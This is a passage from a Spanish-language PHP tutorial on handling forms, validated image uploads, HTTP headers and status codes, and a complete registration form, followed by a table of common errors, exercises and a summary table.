const TAM_MAXIMO = 2 * 1024 * 1024; // 2 MB
const TIPOS_PERMITIDOS = [
'image/jpeg' => 'jpg',
'image/png' => 'png',
'image/webp' => 'webp',
];
/**
* Valida y guarda una imagen subida.
*
* @return string Nombre del fichero guardado.
* @throws RuntimeException Con un mensaje apto para el usuario.
*/
function guardarImagen(array $archivo, string $carpetaDestino): string
{
// 1. Errores de subida
$error = $archivo['error'] ?? UPLOAD_ERR_NO_FILE;
if (!is_int($error) || $error !== UPLOAD_ERR_OK) {
throw new RuntimeException(match ($error) {
UPLOAD_ERR_NO_FILE => 'No has seleccionado ningún archivo',
UPLOAD_ERR_INI_SIZE, UPLOAD_ERR_FORM_SIZE => 'El archivo es demasiado grande',
UPLOAD_ERR_PARTIAL => 'La subida se interrumpió, inténtalo de nuevo',
default => 'Error al subir el archivo',
});
}
// 2. Tamaño
if ($archivo['size'] > TAM_MAXIMO) {
throw new RuntimeException('El archivo supera los 2 MB');
}
// 3. Tipo MIME real, leyendo el contenido del fichero
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($archivo['tmp_name']);
if (!isset(TIPOS_PERMITIDOS[$mime])) {
throw new RuntimeException('Solo se admiten imágenes JPG, PNG o WebP');
}
// 4. Comprobación extra para imágenes: que realmente se puedan leer como imagen
if (getimagesize($archivo['tmp_name']) === false) {
throw new RuntimeException('El archivo no es una imagen válida');
}
// 5. Nombre aleatorio con la extensión que decidimos nosotros
$nombre = bin2hex(random_bytes(16)) . '.' . TIPOS_PERMITIDOS[$mime];
if (!is_dir($carpetaDestino) && !mkdir($carpetaDestino, 0775, true)) {
throw new RuntimeException('No se pudo crear la carpeta de destino');
}
// 6. Mover desde la carpeta temporal (comprueba que es una subida legítima)
if (!move_uploaded_file($archivo['tmp_name'], $carpetaDestino . '/' . $nombre)) {
throw new RuntimeException('No se pudo guardar el archivo');
}
return $nombre;
}
$mensaje = '';
$imagen = null;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
try {
$imagen = guardarImagen($_FILES['avatar'] ?? [], __DIR__ . '/uploads/avatares');
$mensaje = 'Imagen subida correctamente';
} catch (RuntimeException $e) {
http_response_code(422);
$mensaje = $e->getMessage();
}
}
?>
<!DOCTYPE html>
<html lang="es">
<head><meta charset="UTF-8"><title>Subir avatar</title></head>
<body>
<?php if ($mensaje): ?><p><?= htmlspecialchars($mensaje) ?></p><?php endif; ?>
<?php if ($imagen): ?>
<img src="uploads/avatares/<?= htmlspecialchars($imagen) ?>" alt="Avatar" width="150">
<?php endif; ?>
<form method="post" enctype="multipart/form-data">
<input type="hidden" name="MAX_FILE_SIZE" value="<?= TAM_MAXIMO ?>">
<input type="file" name="avatar" accept="image/jpeg,image/png,image/webp">
<button>Subir</button>
</form>
</body>
</html>
💡 Consejo: El campo oculto
MAX_FILE_SIZEpermite a PHP abortar pronto una subida demasiado grande, pero no es una medida de seguridad (el cliente puede cambiarlo). Tu comprobación desizees la que cuenta.
⚠️ Importante: Si guardas las subidas dentro de la carpeta pública, impide que se ejecute PHP en ella (en Apache, un
.htaccessconphp_flag engine offoRemoveHandler .php; en Nginx, una reglalocation). Lo ideal es guardarlas fuera de la raíz web y servirlas mediante un script PHP que las lea.
Varios archivos a la vez
<input type="file" name="fotos[]" multiple>
Con fotos[], $_FILES['fotos'] tiene una estructura “girada”: $_FILES['fotos']['name'][0], $_FILES['fotos']['name'][1]… Esta función la reorganiza:
<?php
declare(strict_types=1);
function normalizarArchivos(array $campo): array
{
$archivos = [];
foreach ($campo['name'] ?? [] as $i => $_) {
$archivos[] = [
'name' => $campo['name'][$i],
'type' => $campo['type'][$i],
'tmp_name' => $campo['tmp_name'][$i],
'error' => $campo['error'][$i],
'size' => $campo['size'][$i],
];
}
return $archivos;
}
foreach (normalizarArchivos($_FILES['fotos'] ?? []) as $foto) {
// guardarImagen($foto, ...);
}
11. Cabeceras: header() y http_response_code()
Enviar cabeceras
<?php
declare(strict_types=1);
// Tipo de contenido
header('Content-Type: application/json; charset=UTF-8');
echo json_encode(['estado' => 'ok']);
<?php
// Evitar que se guarde en caché (páginas con datos privados)
header('Cache-Control: no-store');
// Forzar la descarga de un fichero
header('Content-Type: application/pdf');
header('Content-Disposition: attachment; filename="factura-2026-001.pdf"');
header('Content-Length: ' . filesize($rutaPdf));
readfile($rutaPdf);
exit;
El segundo parámetro de header() (replace, true por defecto) indica si sustituye una cabecera anterior del mismo nombre; el tercero fija el código de estado.
Códigos de estado
<?php
declare(strict_types=1);
$id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);
$productos = [1 => 'Teclado', 2 => 'Ratón'];
if (!$id || !isset($productos[$id])) {
http_response_code(404);
echo '<h1>Producto no encontrado</h1>';
exit;
}
// Método no permitido
if ($_SERVER['REQUEST_METHOD'] !== 'GET') {
http_response_code(405);
header('Allow: GET');
exit;
}
echo $productos[$id];
El error “headers already sent”
Warning: Cannot modify header information - headers already sent by
(output started at /var/www/index.php:1)
⚠️ Importante: Las cabeceras viajan antes que el cuerpo. En cuanto PHP envía el primer byte de contenido (un
echo, un HTML fuera de<?php, un espacio o una línea en blanco antes de<?php, o incluso el BOM de UTF-8), las cabeceras ya se han enviado y no puedes llamar aheader(),setcookie()nisession_start(). Solución: haz toda la lógica (validar, redirigir, cookies) al principio del fichero y genera el HTML al final. Y en ficheros solo PHP, no cierres la etiqueta?>.
<?php
// Puedes comprobarlo
if (headers_sent($fichero, $linea)) {
error_log("Salida iniciada en $fichero:$linea");
}
12. Ejemplo completo: formulario de registro
Juntamos todo: validación de varios tipos de campo, valores mantenidos, errores por campo, arrays, contraseña con password_hash() (módulo 09 y 16) y patrón PRG.
<?php
// registro.php
declare(strict_types=1);
function e(string|int|float|null $v): string
{
return htmlspecialchars((string) $v, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
const PROVINCIAS = ['sevilla' => 'Sevilla', 'malaga' => 'Málaga', 'madrid' => 'Madrid', 'barcelona' => 'Barcelona'];
const INTERESES = ['php' => 'PHP', 'js' => 'JavaScript', 'sql' => 'Bases de datos', 'devops' => 'DevOps'];
/**
* @return array{0: array<string, mixed>, 1: array<string, string>} [datos limpios, errores]
*/
function validarRegistro(array $entrada): array
{
$datos = [
'nombre' => trim((string) ($entrada['nombre'] ?? '')),
'email' => mb_strtolower(trim((string) ($entrada['email'] ?? ''))),
'password' => (string) ($entrada['password'] ?? ''),
'password2' => (string) ($entrada['password2'] ?? ''),
'edad' => trim((string) ($entrada['edad'] ?? '')),
'web' => trim((string) ($entrada['web'] ?? '')),
'provincia' => (string) ($entrada['provincia'] ?? ''),
'intereses' => is_array($entrada['intereses'] ?? null) ? $entrada['intereses'] : [],
'acepto' => ($entrada['acepto'] ?? '') === '1',
];
$errores = [];
$len = mb_strlen($datos['nombre']);
if ($len < 2 || $len > 60) {
$errores['nombre'] = 'El nombre debe tener entre 2 y 60 caracteres';
}
if (filter_var($datos['email'], FILTER_VALIDATE_EMAIL) === false) {
$errores['email'] = 'Introduce un email válido';
}
if (mb_strlen($datos['password']) < 10) {
$errores['password'] = 'La contraseña debe tener al menos 10 caracteres';
} elseif ($datos['password'] !== $datos['password2']) {
$errores['password2'] = 'Las contraseñas no coinciden';
}
$edad = filter_var($datos['edad'], FILTER_VALIDATE_INT, ['options' => ['min_range' => 16, 'max_range' => 120]]);
if ($edad === false) {
$errores['edad'] = 'Debes tener entre 16 y 120 años';
} else {
$datos['edad'] = $edad;
}
if ($datos['web'] !== '' && !preg_match('#^https?://#i', $datos['web'])) {
$errores['web'] = 'La web debe empezar por http:// o https://';
} elseif ($datos['web'] !== '' && filter_var($datos['web'], FILTER_VALIDATE_URL) === false) {
$errores['web'] = 'La dirección web no es válida';
}
if (!array_key_exists($datos['provincia'], PROVINCIAS)) {
$errores['provincia'] = 'Elige una provincia';
}
$datos['intereses'] = array_values(array_intersect($datos['intereses'], array_keys(INTERESES)));
if (count($datos['intereses']) === 0) {
$errores['intereses'] = 'Elige al menos un interés';
}
if (!$datos['acepto']) {
$errores['acepto'] = 'Debes aceptar las condiciones';
}
return [$datos, $errores];
}
$datos = ['nombre' => '', 'email' => '', 'edad' => '', 'web' => '', 'provincia' => '', 'intereses' => [], 'acepto' => false];
$errores = [];
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
[$datos, $errores] = validarRegistro($_POST);
if (!$errores) {
$usuario = [
'nombre' => $datos['nombre'],
'email' => $datos['email'],
'hash' => password_hash($datos['password'], PASSWORD_DEFAULT),
'edad' => $datos['edad'],
'web' => $datos['web'],
'provincia' => $datos['provincia'],
'intereses' => $datos['intereses'],
'alta' => date(DATE_ATOM),
];
// En el módulo 15 lo guardaremos en MySQL; de momento, en un fichero JSON por línea
file_put_contents(
__DIR__ . '/usuarios.jsonl',
json_encode($usuario, JSON_UNESCAPED_UNICODE) . PHP_EOL,
FILE_APPEND | LOCK_EX
);
header('Location: registro.php?registrado=1', true, 303);
exit;
}
http_response_code(422);
}
/** Pinta el mensaje de error de un campo, si existe */
function errorDe(array $errores, string $campo): string
{
return isset($errores[$campo]) ? '<span class="error">' . e($errores[$campo]) . '</span>' : '';
}
?>
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Registro</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/css/bootstrap.min.css" rel="stylesheet">
<style>.error { color: var(--bs-danger); font-size: .875em; display: block; }</style>
</head>
<body class="container py-4" style="max-width: 640px">
<h1 class="mb-4">Crear cuenta</h1>
<?php if (isset($_GET['registrado'])): ?>
<div class="alert alert-success">¡Registro completado! Ya puedes iniciar sesión.</div>
<?php endif; ?>
<form method="post" novalidate>
<div class="mb-3">
<label class="form-label" for="nombre">Nombre</label>
<input class="form-control" id="nombre" name="nombre" value="<?= e($datos['nombre']) ?>">
<?= errorDe($errores, 'nombre') ?>
</div>
<div class="mb-3">
<label class="form-label" for="email">Email</label>
<input class="form-control" id="email" name="email" type="email" value="<?= e($datos['email']) ?>">
<?= errorDe($errores, 'email') ?>
</div>
<div class="row">
<div class="col mb-3">
<label class="form-label" for="password">Contraseña</label>
<!-- Las contraseñas NUNCA se vuelven a rellenar -->
<input class="form-control" id="password" name="password" type="password" autocomplete="new-password">
<?= errorDe($errores, 'password') ?>
</div>
<div class="col mb-3">
<label class="form-label" for="password2">Repite la contraseña</label>
<input class="form-control" id="password2" name="password2" type="password" autocomplete="new-password">
<?= errorDe($errores, 'password2') ?>
</div>
</div>
<div class="row">
<div class="col mb-3">
<label class="form-label" for="edad">Edad</label>
<input class="form-control" id="edad" name="edad" type="number" value="<?= e($datos['edad']) ?>">
<?= errorDe($errores, 'edad') ?>
</div>
<div class="col mb-3">
<label class="form-label" for="provincia">Provincia</label>
<select class="form-select" id="provincia" name="provincia">
<option value="">Elige...</option>
<?php foreach (PROVINCIAS as $valor => $texto): ?>
<option value="<?= e($valor) ?>" <?= $datos['provincia'] === $valor ? 'selected' : '' ?>><?= e($texto) ?></option>
<?php endforeach; ?>
</select>
<?= errorDe($errores, 'provincia') ?>
</div>
</div>
<div class="mb-3">
<label class="form-label" for="web">Web personal (opcional)</label>
<input class="form-control" id="web" name="web" type="url" value="<?= e($datos['web']) ?>">
<?= errorDe($errores, 'web') ?>
</div>
<fieldset class="mb-3">
<legend class="fs-6">Intereses</legend>
<?php foreach (INTERESES as $valor => $texto): ?>
<div class="form-check form-check-inline">
<input class="form-check-input" type="checkbox" id="int-<?= e($valor) ?>" name="intereses[]"
value="<?= e($valor) ?>" <?= in_array($valor, $datos['intereses'], true) ? 'checked' : '' ?>>
<label class="form-check-label" for="int-<?= e($valor) ?>"><?= e($texto) ?></label>
</div>
<?php endforeach; ?>
<?= errorDe($errores, 'intereses') ?>
</fieldset>
<div class="form-check mb-3">
<input class="form-check-input" type="checkbox" id="acepto" name="acepto" value="1" <?= $datos['acepto'] ? 'checked' : '' ?>>
<label class="form-check-label" for="acepto">Acepto las condiciones de uso</label>
<?= errorDe($errores, 'acepto') ?>
</div>
<button class="btn btn-primary" type="submit">Registrarme</button>
</form>
</body>
</html>
Puntos clave del ejemplo:
- La lógica va arriba y el HTML abajo: así
header()funciona siempre. - La validación está en una función que recibe el array de entrada: se puede probar sin formulario.
- Los valores se normalizan (email en minúsculas,
trim), los de listas cerradas se comparan con listas blancas. - Las contraseñas nunca se vuelven a mostrar y se guardan como hash.
- Se devuelve
422cuando hay errores de validación y303tras el éxito (PRG).
⚠️ Importante: A este formulario aún le falta una pieza de seguridad: la protección CSRF (un token oculto que demuestra que el envío viene de tu propia web). Necesita sesiones, así que la verás en los módulos 09 y 16.
13. Errores comunes
| Problema | Causa | Solución |
|---|---|---|
Undefined array key "email" | Se lee $_POST['email'] sin que exista | Usa $_POST['email'] ?? '' |
| El formulario “no hace nada” | Falta name en los input (el id no se envía) | Todo campo enviado necesita name |
$_FILES vacío | Falta enctype="multipart/form-data" o se superó post_max_size | Revisa el formulario y php.ini |
headers already sent | Salida antes de header() | Lógica arriba, HTML abajo; sin espacios antes de <?php |
| Se duplica el envío al recargar | No se aplica PRG | Redirige con 303 tras procesar el POST |
| El checkbox siempre aparece desmarcado | No se envía si no está marcado | isset() / ?? '' y reimprimir checked |
Aparece &amp; | Escapado doble (al guardar y al mostrar) | Escapa solo al mostrar |
TypeError en trim() | El campo llegó como array (campo[]=x) | Convierte con (string) o comprueba is_string() |
14. Ejercicios
Ejercicio 1: Calculadora por GET
Crea calculadora.php con un formulario GET con dos números y un <select> de operación (suma, resta, multiplicacion, division). Valida los números con filter_input(INPUT_GET, ..., FILTER_VALIDATE_FLOAT), valida la operación con una lista blanca y usa match para calcular. Controla la división entre cero. El formulario debe conservar los valores y la URL del resultado debe poder compartirse.
Ejercicio 2: Inspector de peticiones
Escribe inspector.php que muestre en tablas HTML: el método, la URI, la IP, el idioma preferido del navegador, todas las cabeceras recibidas (pista: recorre $_SERVER buscando claves que empiecen por HTTP_) y el contenido de $_GET y $_POST. Escapa todo con una función e(). Pruébalo con un formulario GET, uno POST y con curl -H "X-Prueba: hola".
Ejercicio 3: Formulario de contacto con validación completa
Formulario con nombre (2-50 caracteres), email, teléfono opcional (9 dígitos, con FILTER_VALIDATE_REGEXP), asunto (lista blanca de 4 opciones en un <select>) y mensaje (10-1000 caracteres). Muestra los errores junto a cada campo, conserva los valores y aplica el patrón PRG guardando los mensajes en mensajes.txt con LOCK_EX.
Ejercicio 4: Encuesta con arrays
Crea una encuesta con: lenguajes que conoces (checkboxes lenguajes[]), nivel en cada uno (nivel[php], nivel[js]… con un select del 1 al 5) y años de experiencia. Valida todo con listas blancas y is_array(). Muestra un resumen ordenado por nivel descendente.
Ejercicio 5: Galería con subida de imágenes
Crea una galería que permita subir varias imágenes a la vez (fotos[]), con un máximo de 5 por envío y 3 MB cada una. Valida con finfo, guarda con nombres aleatorios en uploads/ y muestra todas las imágenes subidas en una cuadrícula (usa glob()). Informa de qué archivos se aceptaron y cuáles se rechazaron y por qué.
Ejercicio 6: Páginas de error con código correcto
Crea producto.php?id=N que muestre un producto de un array. Si id no es un entero positivo responde 400; si no existe, 404 con una página de error amable; si el método no es GET, 405 con la cabecera Allow. Comprueba los códigos en la pestaña Red de las herramientas del navegador.
Ejercicio 7: Registro ampliado
Amplía el formulario de registro de la sección 12 con: fecha de nacimiento (valida con DateTimeImmutable::createFromFormat y calcula la edad en lugar de pedirla), avatar opcional (reutiliza guardarImagen()) y comprobación de que el email no está ya registrado en usuarios.jsonl. Usa FILTER_THROW_ON_FAILURE en la validación del email.
Resumen
| Concepto | Sintaxis / clave |
|---|---|
| Método de la petición | $_SERVER['REQUEST_METHOD'] === 'POST' |
| Leer con valor por defecto | trim($_POST['campo'] ?? '') |
| Validar email / entero / URL | filter_var($v, FILTER_VALIDATE_EMAIL) |
| Opciones de filtro | ['options' => ['min_range' => 1, 'max_range' => 10]] |
| Leer y validar | filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT) |
| Excepción al fallar (8.5) | FILTER_THROW_ON_FAILURE → Filter\FilterFailedException |
| Escapar HTML | htmlspecialchars($v, ENT_QUOTES \| ENT_SUBSTITUTE, 'UTF-8') |
| Lista blanca | in_array($v, $permitidos, true) |
| Arrays en formularios | name="aficiones[]", name="direccion[cp]" |
| PRG | header('Location: ok.php', true, 303); exit; |
| Subida de archivos | enctype="multipart/form-data", $_FILES, UPLOAD_ERR_OK |
| Tipo MIME real | (new finfo(FILEINFO_MIME_TYPE))->file($tmp) |
| Mover subida | move_uploaded_file($tmp, $destino) |
| Nombre aleatorio | bin2hex(random_bytes(16)) . '.jpg' |
| Código de estado | http_response_code(404) |
| Cabecera | header('Content-Type: application/json') |